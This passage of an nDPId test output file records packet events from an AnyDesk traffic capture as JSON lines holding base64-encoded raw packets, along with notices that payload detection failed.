x4K2yD+YJUeQ5iC2YLZBHmJur58SDk2z8M4Gtj5rhO\/WSBfPfucy+\/UhXgRLabvEcpQSSJx3K0g4cGVQpbP1jcYiYggDHPBK2f1uzITSH1jE9AQ4u4i2Q0SCgNSSldnK\/\/V5RTPG7WOXk1t5veGAogZy6t3j5waTsSL30oC5vzjROa6+5tD4hbOgjn7rw+QE64sJXEHitW4ItdDMB91py5L5JVPuQituFjY8ObEc\/UjkMQV8AYadddjQ5p2\/SMS2ja3\/V1IL7re4T7PKe3uibUsO8Tp\/V8TRNzum3QPc1fadUe5RcuKPhBv4BMtDhAhmK7sA8wA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":128,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4155} +06537{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":131,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":731710,"pkt_caplen":4595,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4595,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdrFAAIAGAADAqAG7wKgBstOUG56PGedEWcP+aVAYA\/6ExAAAFwMDEbhZ4hNO+msUuzl49V0z\/zGCYo5JRvtbNhPzOB8mPLFqtuDLxCXVeCvWWpG6sp8CevnjmZmSurBuI2wQRMxls7PKfTwamCDwfT7ZAUUff067M008CYKqCf06sdVKu8sKcinlySoLSGu19PwcPE9\/y22jmh24zJi4Od6rGQjxdFRxMu+QddtnUWnSOsaJPGAzGH0HgSn50voRdNWH2iOtGCwjPikAVat4B9W3g2NkmO4+8+HLCEEMvGHPpa1qtmiB0MtGx2jF6V7WSpVh8pKUW155djKrTztq\/L4xapCZvV7696Gwc5AgwQykySNMU\/v4iW9PrCp+27guFJ5VLRbkX0UmSyRta0BaN6sr0Ny5maNsVo36adqPo\/Pe8f7Vo72xzucK196+IUGR028dMTkyAGMWTw7GrwxKXve00wX0SzhWMeXbdk6bf6idXzTzGHPKiXk2bRy9AnR+krLqFReRYiPDf2zW33n1\/k7RP\/RlxO36dPAUAmWGphmNGPCWi4ZgbUZjNd8LU9rIp7nkrdi88IKgkIUI\/uf2gzVrv+sAq+mhbkzZkFIJcfyIUvQjomo6SeFCfdIbg7gOxyUF19TkAds1RPHZ+bZQEUbjN+ivHe9l9NLS7p9XuB7NnrD54\/1I+deLcGwOAxN1XqPwCGOjaoV\/TNm2bZqyU6MNmag\/lSPwDZw+EabkQwYsNcBgih\/K\/5QkPhiCsUurrWm9nTSbL71v7dr34WhKeoWv2KxUjfwxyCSy7S4h8dWA2hh0Az0ayD5b875vjp+d7fC3ev2bdCd0c9hcRtw82AJFFWbWK7\/7FcyArl17x6dNsSuouOYGASub3SBIkjPG5\/M7VPvc2WxLjw349LDAfWRgvxx9D9HwO91xFLcWWeNUyvD70uRkbWDY6RnU9RoZn1dmPVUbn5SalEDTsjK++AP7b3brhy1xxrIbOAua1\/ghXKiUImQ9WAterUYNzu2HjqveJiImvxYEkRWcsBluioYHb60CGE4y\/K697DISY9L8LwTYI8NwIv2mVl2XDAHjbdtE\/boDJ6+36sewfxxEcYiPx8A\/U+Wtr7vOOa+FUWFu4GmLawg67J+762I8sDY5g7VPRmlKMJ6XUz85aeFcVU0irFqaa0Y5vvjbwvyLecHrlOcimQ95xj3TYPjbULciBlKi8hO3WaGkDs5Ej5GeQgmN1iKkkn7UnG1etnV4urpUo8cROksNGg+8TMU4avN42b7P3GhnhzSWbmXpdx8uhpEUu\/8Pd5nseUqm4gO8lbioXr659w4poADvrOpX74Cl\/KSqBpbJIALU\/p9BFLzMJ5rmGl+svRuWwR7YYvAbQIz+qR\/kq9yy8ng4MJvaCLpkk\/eMD4oGxe+jK8r8Nl8S9lrrUDcVzoQuCGKoorg+Jni3\/ZHeD4vjzxWvEL3eDJf0cVZTdVMJHhwIWiQ7sxVzuuY4ByaEhmQXc4ID+GCqFlujGJX4g0PlktvJD+un6Unm7rlVXdOdzTro4bDR4jzDc3uhHZJi\/pxQg0RYqNpPKMtJti+v+duD0GyINbXDjraRixhqa0B02vJkaehykblE1TSqR85fZq\/MFHEJS\/Gj829Ea98C+9fM0XzN5iz9PAqwW+rYp8e+\/Gt0rLwA5IlZB49gl82QpCjuaCTXP6J\/ooJNpxn7YQ79MiYR0xJQlhon2Wuxpod6BMSqRvT2UPaIlMQHXeMW\/YNJx2+ngpMzLfdPx1exMu4bJ+3iPgIQiJK0KUXgoSNXTIG+slt3ol5+I5HEJ2uNW6D7q5UFxonu572o87MlMkYfFX3s7Z7N2NV1O1Us3yVfTJ6t4VlpIuaOppDqTNPUBWULxfHT+fxg7zY7S1oD9\/mjD8gyIG7LjxWHAO3d4qFqupQPngTn9qZfXoapL4hyMzEXgkW5npbK7ZRzW+Q4xHF\/yDiMBvMZwkWr3GQ27ddExw8j3n+qfcBHV9OB\/jZiksZEWSELHFQ+EUT7d2P6m8teU3wqsG9nbl3j9ISddRPMzLTxdtR57qp2mSXP39Bhwn8pmNbOomg\/m+5cnNYTkWROJ7OU+x44J3rcLOL5G8eIdVK+sh0GEhT6XtMx5xl5eOuyk73SEvKbF8q\/Ksz2DtnDL0ynJ69S4s0oLT\/4v0nhxxdf947bIFF4esm2CTQR2cR\/8W60HiPy2ljwux58UwLVv3M4Ly9g45hMLmc8PNzAHrNZwHW61RTsz6mm3A1qXTIWtMwwQ8PlF0LuwHsMW6b9UbE9Q5FG5ndfSNsGzLmCJFU6KXUROEjzPhG\/SkgcpaPsmDO4F02F1XqtZBJBYp\/EgbSfN\/r\/sURbRXlb+SndcXNl2WRjI49HqV2tpnL47xkKAEnAJPsxMbdMNaJmO4uG+NYwZhttloL4\/ZKyFt67ioWHNyxcy7QGWeIpNKKp8cxxUEaa17YX\/pHANqeOjxQyZ0M+0Ok2UL\/HE5Knf9OO1iLR22OGUFrKEQdzBFvJ2IaAaJUHoQOvywWNE3OrjQ9gSh90g5OJ84BriIKxHEGMNi\/0H4mxfL9nbpE7irwEY81udRbACaXOaZuWxM0snXUuvY0RdI\/H7hRtNIHAcVa3DfX1nOt79kOlHM7QA7UEHjYXLkTJPDtFIzbz9utGIxvvth4puF6syoUN8TNf0WeVqQ4MgAWj+JEoq8d7HwaojqNJs1\/0u8R9EmzC76W4BUBukuPpgAFNUeVrsyDj9j7gTQdGzCDDY7VSsHNDWoPmwrtM07j\/zKrE\/9x0O8vBTWXYY3sqvojDfXiDzuVC41D41FbWFTEc472Bo\/JdLGftfgyviWPipk9nK5279wRDmaEzAV7AcUytyXTVJoSQe7SFxn2VmhyWFZ4XXkVerv2PfFDS9pz5eblr0JjJ\/aWde96fgRq27CN0OYRnCTZjkFJFjiF9R1igqHUCr12M\/bdoFEnQZVlY8kquvtaOAhVCZyeo5h1YjvTjzgYY7LjokGM5NFdShntncpmSPpa0wlCZY8E6\/vLs\/DAhxxhp0+1QrHR\/Am20W+2cIIK0yTJ74kCT2wpwhD9njl1J9a6ONckNRpp3RBFq\/D+jjQKd4zzrZ5SOp\/OmGO80xYaCts6dMYCyB2Xi5HsXFSgALx\/Z0qYfYJ2lK5UDyBxhvHkeoJXd+0manA8GAX6SasR45Wd1FO36rjjKXEq3O6pQErdDEfWR2tyMhl2R+dojqz5IHOkkNJA\/kwOl7\/jVN+JWJWC8JCefXwBx7PTUHrRCSU1qzq+B8Mw0cupWHFTLO\/emYfaJAGJDt0p3SD6788H4ft\/f\/uPSMDYOwSiDxDIDHWCrjx8tPS5Lupmzt2EZhV40ZIztjIRTkY0adfRGwb0P67slcE2tHD9CCcwFhyxXsYYmwbF5l\/UHUkvLvCzEkwgF6oqtBV0JrlsS3GrUjC7VSGVMc+L32G6e8U4r\/us7UdpRfYkwJ8ucN2nTBBopMWQeiktbpwak+K7VcyhcjKeYLanUaqJ4Bdd0bY6j5fz80zELPQhwzDmClSIaUBiOerN4V2oinwJ0rDPRnxHm3S0WyAoDrCMBWkHL7Oo+Xmt++mABkQehWqiGscTf2Co32TlfCSheP9jVAxcNxun1DBs+k3i71mj8Gfl9NKfhPVU2IyWPQAkWz7OVlVxWHZBmgQ\/T1y0awIiyL1xkhZMf0xDaBAC8vvj5W2Amm83livZgJFdoAkLecWoM90LhM0IfXXWOLU2m1JNY9kereDG14raeUoRCtDvw8Mgn1C8hkbDZMMtx3Upf3z4YMkwqM+WnXtw9Q2OsB7YQHqa4f1el+\/1pJ1itHU7Qd1Lr6oF+pm6yxj17Cy9hFu9szj1y3yuVDf+CQUB6DCSw0Wqw2eaR\/AOWyZiLJBpt0OqD7kmSZdCv12r\/iunZzU0RNCttKJNFJ0b0aU3i1NZFTMqjVZMbocyUTSEYpGIbu2+577Ci\/4IbMRnR1D5EvJu2fyyK\/DEv7Kw9k2nWSB83n\/mnyNQ5NyjiWFT0iE5KiRIlIX1TnSsze49OtIih1cWPbJ4TQ+Usz58EjjH+5\/pZiksRVcSlTNNRfEVriFz6JrK20ibKpgOwSEskSMEDyL\/cnYUolAPBAPAlh1tEUgX8wIIrHG6qcmC2xF31UcgPDMfaqT+zOAnTE++4HX\/NdlUoZD9H98mSMeIbxeiaAG+HSGk\/UjYz29i8ZQ\/9c0z4L1xfcIyrM9AyPfmQF\/ThqYHvyEn\/1LNN\/PgoWidXvDMsx8gOht0SRO8BHZUEnLapth0h5KIDgttxkHSQX2p0WbOWvKAD5JmbWsT5FiswKlpE3PnL9bcmbBBP9dxGwsVTXvMWHcRo8gefMWMaRNDEeyqSQV6LZ3T7JzcdKIrW3CpR1VEdiZbxbdoCUwZkmu9d+tl5TKj7QscjE9VfOjPufeNaWCGp0ShzY2DDix1ZnMvvEjifAV1V8cTI38swlmgGDqN+srNiFdr2Cy0C0EzTU1SfCBDrFkTCUOGjA1ecEvQHrLiV3tSuKdjbFvJdzIhR4x3yfAQ0qyolqciCRgIvmAjpPZPe0NhbsqfGi\/wNdLqJGvXuIAJOWmWi98G6zClq9o46L+iKqOlkOIIJMxpM1c0XJMA9COgkQGPoBuQnPyvlNGo5pZVI8IjPgJS+XU\/hCT5CcGqABSVN0xOdOPVwuZVtMWXM9hiQI+fONsgzdPAvgAQW+ho84DUESXbn8jQgyFg2fcu8nGnbvOh0AOcxODuk7eKoVXrZlT7tz7EqkNcspOkNRgMabSECmzxXkhMeMQxRS73arzlVEveHzioZctmQl4tu4e8yp7PbSyT3v713mm99ka3jf9JGCGcjD8xMg15V\/x98zHNDUtRjqhPd0gWeXbe95QT0sDotTUl0kOA5vbZnOq\/FyEh4Oz4CBBaabcdgshuLToo6yLIAmIMoUdf6GUZ4Yme34LxUyAKMW4m\/Da+zEz+unHk7beWmd4LpaekGQ3slzH2lQAbIh3spQVQqrmiz0BnYPrBJenKrKYCUWKCNngF3pK4OOHTlQ\/QxgP8gxdSnKvW90xhca5WAAQs7fGohsHjPe1\/JRIepGNiQA6GAJXwmGrd52j2DkbvWLhqTpdEiFfYFpzZhvG5Jwd1rNn8pkr6HSf4o5muIEyulE3sIZpOGlNcY4a8Ea+QRqLczi69t6XvOzVCkGcBIcBfHmX1YpnY9iMu8HCP\/ZaVt9MRRAYX5b2oy+82WxXs60SqkfZZ0rWvInvZyQQIPLB8XKgMslnq4SOqDspk5T5m4ihVxosZnHVs+XiQN+UWBBzbbWMJ5hG73cyNv+J+Dn\/6tO6IaUSyZXbVABKeWPbNeIahA7CbiesXGqxP\/QHz53Ds8\/tjclRDTQ+9n2L91pLrfX6\/Tut855WHyA2l5cK4FiSL1qcHKSoxDfymXhPV95V9\/Z8cW263izBE1IzZWkv0Vk\/kp65Pi4zzEaHjThuBFYrfD2EULY2HRA5eQq7LaUFxOW0Z+H3c6sQLmNcUT1I0zZNrKO4oIxwv1xJlFdwjsD0FV95hYWJYQLVtbjZTDsNWKCwnaUKZEnK7cAKS6Ym+JJCVKmzOu3ylfYWDKLhCacw6PhftZHa+JWdOGQ9UV+gVO\/\/BXDmOikiI5MwRCaSU2jlx71KxsfWQ\/PZWrxt1TMS0FlQTog6ODBnHapMtiLLeXQadUyitTfuM8QwkyKzCnetNzG6aSm91cUstlzjWgMkJxQuvERRYB6nTSkuTP0IewnvDvNz0Of1aD3SAC\/HXOGGQaUZeMNFnEz\/9BJdPkfz+GLwEKl2zy6K3LjXVcM1oHjBDMtB7kK6bHPahwhQ1kQsdUXkdm7qBhoXOI5MOGeh2asqR6I15xVkj\/9iz71Z8V3Y8u2ZwtnoEOSyhu5N67OkonzmKE3ZNjNynCoN3uj03EcJ\/1PtDr3qywhU6CGzrOvod6Vfqw+dCUGd8dNs0RphXnVqMJx4fhn+sMoyVkUZ71ul9SRnHRQFBX+cxQAnq4rrstXXfixRsETxBTt6wpwJaVrR\/splMTiXkwiVryt+UhTvvjd6CFABTZMGvQO\/uOkgdI1Puw6hk="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":131,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4561} +07818{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":134,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":732111,"pkt_caplen":5557,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5557,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdrVAAIAGAADAqAG7wKgBstOUG56PGfkBWcP+aVAYA\/6ExAAAFwMDFXpZ4hNO+msUvK1pPFkyBteLXj64LfSl0MeLRv96Sr0zhZFJSex4slS7nmEy0vs7DMK+g8xildxvshGaY529rz0v4SOzqvrJzznXZqoCYJki7k\/nMEQix+6DApiub8B6YLZ\/m0Mq8F7qxsSGoKTgTZlc7vhaOmU7t+6JoZz3utgMY7s4E1urRQgg1YVUtSm5R6qaJeJpVnKDhLy40Lc3Kf7JdNQTw3TvZoirvFHSh1rr98YRiA7YsJcivFX5FSpzYoqNar0\/Jv6OgiEimBAroogcHlAOTJ00o5c5eWo0rm8F12tKDVkkbYxW3TMv6mvXGuY2LfDy3m9ttCEKsKihXgAiLoqZSWnhpnIRAbQjZi4JT2T3IpY5rvSMblTYRKUjcUAABV2VY2hpdjWhauQCEuMsXJov23FSttFoMlpZeiJ3yQfL\/G0MW\/MpprzGHMUkFNDATWKAWOoh7OeEL3YkiTfiQ2CrgkU\/MwTczOpjheC\/Adwds4GRl\/uLQQKb9sOJezBidpSd2VGrMxU11\/aZjTTRxWSongRSYDNxBS7hz66jMSHdc6kynBkLZHcAKvATqgz9DEn1PPILwjkrJov2OxnrzmqchVOtFXCGFv9vVrd3I3V6Nk9fIgpf41w6OvBZZ0GWbYU++2ff+ILqQi0GxqETk50wbDBMQ1jOFwv1aVchp1zoYcd6RTcAqB3dVHfdnMzRf34s+j8DXThOUDBungImpN7E5IDR9rs03lJtzGSjkYV1xuVKQ0WtNpPubKoEpoFqSoY+Hv8rNi2\/JTZ8MCQp\/ko6YXmEeqJJIFDIAPeXI52Q6iyKjnsvp1NmIJBcgJPzt4lSbfzKyfXAXpPsQqnldHEXUEqm4kG0N3h56EK0WWPRMZiOVCTft2L+0qmLStALgk9qk5vbMzK4+s7efFJYsKETs181ROSH\/MCWQ9+3aEkRtH9T8PyQHxYgijnTvavYsQktJDBMuFMuZSliky6Rv1\/\/yQUlnzvS5NO6UTdD56UbWkVRobreWc6MZ7QLa\/kKkyqhugrnTDf1Ewn2ZbY95shVEQn9Y66E2o9jWZfoAtNKszgHZotRROAy0MhFBD7SjE+mikt4uzsGkcqo8oG7U8jjAxtYoLNZW434667BkVmyg952ItGh5b\/fQbcrmZI1wVeU5ghSUtokynZdHt8rPJR4T37LOdl9Y5GX7485vAxurh1oYwkK++zxPILm5sSH2HbYkYnuTlVsNK5M6zBIB+\/pTN7HxHLwfPCmkx+8F6Jk06KIphZ651d4IVXWOWxQIGmpQcclUMG5DB+HkWzw2h0iPTkprGwhYvP0bcOW8OWVyCGnHVounjv4fNViBjjJE9W3vnpWS0Lv0XjIkWIixsxuMu+BuKKkCRY5LxSQp6l1uwUxhJacll6IGnsEWuPbkbZPkOBUntiC9ySLsU3AyluSIDdzJ3SSnTmM3gUKVnfV7Ye6Y\/fGTB+cZES95mFKxwXJIkq45PiJy2RWzyEppVwH39HcrbmklusH\/wsjM9CFIweGnYFg2jVRrLseM4ftHFe8YuugOfV4Z5mPTt7VqL4LIav8C86C00u3wy7DiR1n66jqPVuWs8H9Ozd1q3pw6YilrrLhhZ2+cPs3HpVGYyfT8gL5+LALz0zOhVZRo6uo4pMw0C2ow9O2JLhaIP4y+HVCMVVyIsTp\/g\/PT2bzol5o9QvrgmeXbt1+5ORZp\/Uz+47BDp7R1YI77LNQvgMBtfP65M1UK794RwnkGT0g9hgW4KilrsWMbWTynHsUxX9PmK71NqGEyRpA8nsouLCSWin8jeXj9LbQdl4yBaTH678IPHk5IssGQFqMMkWBlhKhWhbZdldjzio3iT8Yepu8mf2nm7U9WXuojyBBqFdUEdA+kcUd939qJwv7\/QSdRX0XaI4ny26pZfjG0rs5cLHVd1zeqO4Qacn4Tzrxsc7UNHiEtSqJQkjGOGDiEV0\/Ze5nBzmJBbKVrmxzuF9+NSSy9BvvuydbFADurgrsa0i7hN4Gwk69tU86AooK5aMXS8ZC0q+X+6ba4x3sLavBunLNOsPDIuqWmaKJC5m1Q4zMptj7m\/KTlu17n4h2HEWMswkq0Ud30sIkZMsGybJMsLjsQdn5L45sTAe4tw\/LAhyxZu28JBc8TvXld2JUj7znnwv\/PTj7A\/UPptGDY6YwEBsxtwop\/CSf9B8+OA2Hj06peh\/QErHrHXaEAQGDDg8sJKUA8NLu2T8RXHSJom22vK+C0zKPPvVFIT84+YjZuTsJK7ByI1RmLHhQjXK+XWP\/\/Jwqpt6hjmG1cmr16F\/k\/juazATw02WV33IDrH0f5XpIoR5o0FtTHWqHTcJ60wJx0U+j26G7p4bdvY+35upbyavp\/IqJ9BeMhcfXOOyoKPHeeGAYInI5zt4f\/iilaIcsxf82mQ2gVTo+kxLLtLOlzqsuQdX+HmfpWyj32SMDDd8GMSHQkjOscMSQB3Ep9ZC4aFNbsigunvaL1TaD3qWSKZCPfhNnq5eDimIpKGRlk991p2Ab\/SBzGjjrzmIot\/+4NX0rQOV2TBUaAtSZWQw4OQ2jQ7UJN2By4Kq+wY2g18G4L0toeyaOEJ\/WnrlzdjfCxo+je8LfwK9kU5mfik5muUfHT5AkVmIJCfT7mOVMRer3E1lzT+2UqwrPgO2V4app3fOSibLwEIS+0A14Hg\/9zCwBESP212MV1g0htyABRz94N8f9qdGfpspn3y8lGCWvt0knSKQpaszt2cyxZr7\/FuZJUQKJ9G1XMOAOODJxk8lvAqpsnFB6\/6JZYh86Sx0TEJPLTf6h32OQ+jCFlO3m2MKdO1V2s93t5mQhlj3PJFiOHhv5rWgulLJK44vGeJ21Tm\/pkQ\/3cUWX9vtCgaOpB3nofMzfhghpkKJS9zDUA16WrnDr2GlWzrfoPq3Nx+FQI2+BZGud9H\/wL82BxVpDprONDDxVgzf+ceTUg9jDO3mnBOvWiLtqQTc4m+wnUaI526ruEJj9HkdxpEg+p0iWDSO5EpHoYGfyksRx3bnsS0Eo0R3JrSQjABIeR3ws9PMLa961wzPT+pdPxCdvYfOsL8zuLJWP0DIZIYv8K1BdJeCn+7ei3uFUdjymS5afXgm2V8jBk+WaBlMFqJXB0iXPdzZn2vW3cFslZOTPQdr9WGq7XsTX+v40e8lZcXgcVgQ176f2fd\/LpC56OdixaMrViR9Uv6vO6AQ6dCj3bcm\/8s3alMjwS72EykNMVq8tSPpGzu7KJZFVaYCYHn9FJhfXIf8t3wJ552PAIY6CMIbsfxSISMqXU4xtGvNqncOD7jVozpPJnY5lCH913YVBeFclCnrmvlhS0IIeHL1g\/RtkW60MM1XXAnSqRPS+Gs2zJ0vfqQZzMDpHDA4gi0\/0FITkm6BKjHxL35y6cx1d1iNENfKV0NhNLIsqm5mVsMWmy1fNx1TCxdH1wqZuWgpnwcLDvrErnIQy6YW\/8hNRnLa5uycylyKt+oFIcnSN2l9j1hIrgtFPDWFWbKvLEVRoUg29NpSlQItKWIm1Z6AaTXt1PeiJ+n7ZSVd3e7GSRk20MJOIru3109zw1YF0i5kAs4zZKWB49zLcF5gHy6ymnQb1e3vscMuU64DQm61+l7jTVnG0JADuAHiv90VEyw8znYyZSQ\/S4YLnBSDFa9kRTVlhYG9OeoMz+3E7nqYMotCPoivPSWZWPuc\/UAr0Ju\/bu5TEPYnpF6EB\/bnuh4aQC+jHCqjOOes5StiiGAEqzi7m4U3xOdsPuoUUnAxnngNAQTpP\/Mp\/ogMfKobx+nR3J9wkRwMcZubfxRhvosOHyBOw8LetjhtvU\/iNDJcBZwTRf0hFeUcBlszFveuOjDxGDRa+O32hHY4lOacQOXl+Dx1QLmfBem8G2+GFMTbDgz6YBwm8ntba9gLOxwu8YlfdVNSTuBSDkQhwSPHpGivefbnTWIXe5dwfc278TMmfRv348hpIrzxtER\/IBiwPzICt2RePnzYAzsBdrrQNJohq+vgWPUQZDHh9wymx8bkWRHnn\/s4xJcRGF8wNf9Jra\/9NH9628sC\/qJ3TkzKzS2ApD11LjsdCRzYiSfFpLmGvxFZ39wJ5Na0IvY47CmbnrNgnPtcx3TSmOn++kBzVnxU1ejWUwk4kjUKQfLLa\/5Ve8VbmdAj8Pvcolqu76A87nueJ5PUvcnylOJAQP6LV6JYr5QnxDt4PQWL6zw4+DqPj0AFnaPROfRo8kML3guf8Q5KRJaV8jg\/0MN0MvzBi0A2N3fawFMtsph631vcbnOAkssfxavwC7Z+CtkQrQXs+NV8GL4Pgt0UDgjNBZGWddumULmfG6IdFd4\/6RlvJQRKKp7ynHZnua7jTI4drs+UP3NNXvLDobV62IIz6yXvoVM6zR3JLagXdnTOFFnyPqMwaljo64S+lEKjA1Ge7yeI+14Wsuun8oQybgXnCT1nBgNnQtfiPt5PqZrkW7MzP4AK6uZfEwzzZJxmp2FYKJ9O5A3flVPrScihfkvwMDU1osHi5hph0VnUeO0Owg6KzQx7cB28wFuBrnD7c4K7fjTgzQh7caFwP4SsJSoFDVK8QYkllgcn3TMCvD00+1GWVG47WghdPYqflvqRbFJwwwdDHVJH9yQzEoYbqmo1UhpJnX0SNgT\/9mNicgJDa8qDc3FP9D4Iv4Yk3SUBySSs04MOzuA6iXIrSiS\/+AevIJZFnKvi0dk00Yh+anj9HI6ZKH5d90ryQGhuukfml96i2gChcoLbo+inv1uLiFb9WFHhH9XkbS0bUdwANLzDRQRiz5B+Tz1FxtB94OJLf6\/CScoI6ZpsuLgrI6kPvr6Pdszk7okBafyTCOVLi+oqjhx45qGP7j5bV2InlhXBCY0qN8q3wZ\/5Jcyo\/qmGoGMtTgy3Y6uIHk7MwVUadrwG7P2o7iXnxNJukKbV6aOoktL3HQcnrPDBOd\/vR8vH74gmIMk45uIjBB4AOFtC5Qb\/6nB6rp4s46ThEHqm02H8HtovydQuEZ8F1qph6k1rtd3uVdjCy4LPoFFdRNVtW3QMQwB4YTpylvO4f5UEs76\/8L7FHwQANysE8nYS5s2Pcw6kGANK3khBOefNm702VR3ebVfBlJexxqsX9neAwBBCiaIOJjonzEyhm97JUCDYZYp\/rwzaT6sfrYRQn5NdjEDVmTFUGXGtIi2J68vx1\/R74VyawLY8drrMBdfgdHrs2iuwpT5ICwOviT9AsBYwENqbZrC9FeMc0AY52b6KujlkFVhnBV7D29hvG4uqaXo35e1i229JQH0Of2\/oJYV25b0xg\/lXQc1BZHkywOnvsa5VVpzjIQzNF3A93fBt7f2VrsZFuC6XrFAT5LEmn+odJ3x0cAhqcmIpp5IB\/Td0AmXeH4y\/ICN27S3nAAy8DcjZEnG67xZXRqgranNPHvcm9LxpQ2EtSfVZoATgUzfjwpkkOhJVpUNOz3Q0RenOUoJxIsM6ppFG6z7n5Yx9zyVTBIJk5zNI5L6kjACpmegwVRKahb+ims6pywQTDV2NkEsT8awnoApdB4ekZKenWsz8o2oosOA4wMCAlNMYRwizg8LJGV1NkoGb8e5bWDAXJjS0+ZIp2R7hBI76aSyFi2kY2GlNsWbr2Z7QWp5qW6Eq\/q7NyqR9S6C\/kepQzxrzjsBGW9ZFr9NjmSljUw8B551jP6bco2YYXi0o7+kOiHAr533DrggbWpEAxAjvCxr8jY5IUCoS4SZVxBTeCopifDxvzXIFYfVi3xL6+QxMVEgJCX9FuRstKdR8GSGaaXRRQr3jtszq7GHhWj\/OnGLFD7XvNhSXcrjwOZWlIaaihItsz7\/HSuuNK1NtotNPrxWOJ3vIYQi3ZqQ3w15KRx6TVl8M6ZaQ76fC3FMXvkGCtmoG6HDzZ56qw4F4anpNfJ5jlH1U4CSXexUgHEW1zhyGY60UnhCeunyVjkOTFthwduhnqUFhg7i24ue752Ovm9f01yGKcOxPKsHJN2RwU+J\/bOXEcDVQxRGEsE0PXvwEEItdGr8J5u4zmx4uiIjeCwtimM5SIdeMt04xAkkJxAMHDNFQVoGpgY8UnDPbpCv+iQMfoxzjoZzIU+4duRstDER5VWVvJW25\/IqailLMGHStqPxo1AvfoorPi9o9l8bxZF7eQzx0363kErhcoYvs8IHXFbtQE5ZIY5W\/A\/Tm8by\/eSz\/umedZHSaLdNBAlPxFL7AjJzFavRXv\/qvmk\/8wD2aAp9K59+FIqwn2QVa6VoBG0uzbNzau3mzh5SrxmCadREer1b6QdOrML2QplbDS0gzYYFTdWlFo+wb3o87ZmoaTwX70rmXUaeCxy7XwX5lTB+6lsdZkZdFNmYWs7R6zWPy5wrukai8jCDSDz+sXOrWjmogaXPolcP82baRyQ3U2DKrnoRXaBpu9X4GyqSm0i4TJAhsUCKlLvFX9oMRbpyia9ra97npI7Rm4Ob9xOfDZlTHnJ4KE0Zq7D5c0hWry2pJUwhtag\/uxhnHz3BSHQm4\/+Oyd3E+OOYk9Yqsjn+jPQUVNQsYwDF3Pj9wSNoFmHEuMzsu4pdYmeidDrRalmtcsfdrtySLcF5tEGr+mUDAlqGlGufGyqPl8gXBE69cYfdSqvrP9K7pTbLtcnsZ6YiKnDVUI5\/JsK97nlKOdxQdpm6t3trlY3z7nJ4nyGutvzaPPqw0QCjhyYEP4wvNhS0FQeBYFspdB1EeVUu1JquxyqYs6uKLquDX0Lp4HdwhsvLcJjlUmYe2KzJYGAHkXUmq9Da4l2Ez1j5Jn7Sy\/S2ewkQK6GTzLufi8GSysLMQrTwnYQOD95c7NrhuzjdF3pDu6AeCPfBz6adAsYKd8dyy8ae6K0tcQUyTxAivqGVgMEbK5vfskEb2sc7YjH0B9mMZ5uIL4mTM5qIY1UfIKaRBZGFpcy\/X1i\/xF+XrjNmxwq2hFw3QC+F4MdUTFSM8i6f7MDXyWGYHkP6dAmAgrY9tixVCQrSZHEw9S3157gzghJK+oSEGUUg0G5\/kPZef2s+\/AyWnKyhWvKLaZYQitOui8ZsQC63xqxcq2b928QW0w19sDmmkp5LvYwC2s2nUgzbaYzK8g3uPmk8ZzLQO0eP\/yA7r7tMeYWlsKyOA6XVZ\/rzNkyLZ7uLY0ecCIJeRQZoZNgDTrvrj1XwyOg3atldqSa7rvbgj1NJsvkrhMeBwRdJSnEKIIfsPXoIVh6RfqwuJyrojAZXzcqnmqo1tk9QVgLS6qEXLcg\/QrttZvuWA2utYQZL6pUSimYzyIx95MJv97KtbnU2dZ1tbks44oE2psTXI5v9QTRGikkUWFZsOVCi1sObai9f1ZFKFSzEa9pA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":134,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5523} +07840{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":137,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":732462,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdrlAAIAGAADAqAG7wKgBstOUG56PGg6AWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUvWVim9G35Lu3jAAjNm+1lmNqIepZiGt0P\/jSJ9XUb5xS2DZYsiBtvgv3y5QYlsn0dH6UN4LMIWwrqll73wR4FzOheGZRpDkq+4z\/ma6fK+TavaLfgIaNJlLbhblZgSsKMeA6YrCzeheIJTZ2VxUbE\/1PHn+KpB4wjb9YrHXijKtvHr9TlrU3YuDkTkdwBPg1z2UbQQlXT4wQO+sJ7kmOImndWi+uGwob7e32pPJG1PQ\/kdrLhvBw5\/HlaLKJVvTndIN9lR\/cziidW8cBJ+sozXNI4g1pR7r38WdE4G8StchpdAQTSEVU\/aX2u26lDb+esD4KHlu0g8GdXnzrAfwE1VpRJvC\/H3iQmPDPaY8dYzgyrEw\/SCYq2AIC7+XqXiYiK69gpEtmtFZD95+EWNbdLzRylybFBuIF7oCaIDpbirC+hiB3sm8hTiNjNVIeTR0SmN+q2Y5CbtG9RR73SDghIN3rGn\/9WRwb3svXMCgfRL8C1MZyCdVsAqwANvnKrMpsJydcSgPmUCx1mD0iz\/QaRP4iCoqAPpJlZjc7mjw1sVZ88\/PqFP84hBbOEOGux+m0BEMS5Yx\/5TMt\/M3tFeHYFR8GOSHHOCkf3yqdkeivZe+a8japtb4FFoo5S\/Y7lEMZD5AHpT49wxSl0H\/UMkWKAEcQWdj\/tuGeQFNlu2NmXtjFsr\/Y5mhqmd5KdCKW+R8FtWn3V6Jxy1+fp92sHDxOrnQq2Vr647jev3J